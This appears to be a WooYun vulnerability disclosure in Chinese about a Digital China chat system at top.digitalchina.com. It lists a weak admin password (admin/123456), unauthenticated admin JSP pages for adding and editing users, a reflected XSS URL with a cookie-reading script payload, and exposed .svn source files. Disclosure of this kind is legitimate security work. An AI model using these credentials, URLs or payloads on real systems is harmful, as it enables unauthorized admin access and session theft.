WooYun.org

弱口令
在管理员神州数码管理员登录的页面

username:admin password:123456
这里可以很多管理员

越权访问
在这里我们可以添加管理员的！
http://top.digitalchina.com/chat/chat/admin/addUser.jsp

http://top.digitalchina.com/chat/chat/admin/editUser.jsp
http://top.digitalchina.com/chat/chat/admin/myAdmin.jsphttp://top.digitalchina.com/chat/chat/admin/userList.jsp
http://top.digitalchina.com/chat/chat/service/myServiceMain.jsp
http://top.digitalchina.com/chat/chat/service/myService.jsp
....
太多了
反射型xxs:
http://top.digitalchina.com/chat/login/loginClientError.jsp?msg=1'%22()%26%25<acx><ScRiPt%20>alert(document.cookie);</ScRiPt>

SVN
http://top.digitalchina.com/chat/chat/admin/.svn/text-base/addUser.jsp.svn-base

http://top.digitalchina.com/chat/chat/admin/.svn/text-base/addUser.jsp.svn-base
http://top.digitalchina.com/chat/chat/admin/.svn/text-base/myAdmin.jsp.svn-base
http://top.digitalchina.com/chat/chat/admin/.svn/text-base/userList.jsp.svn-base
http://top.digitalchina.com/chat/chat/client/.svn/text-base/clientChat.jsp.svn-base
http://top.digitalchina.com/chat/chat/service/.svn/text-base/myServiceMain.jsp.svn-base
.....
很多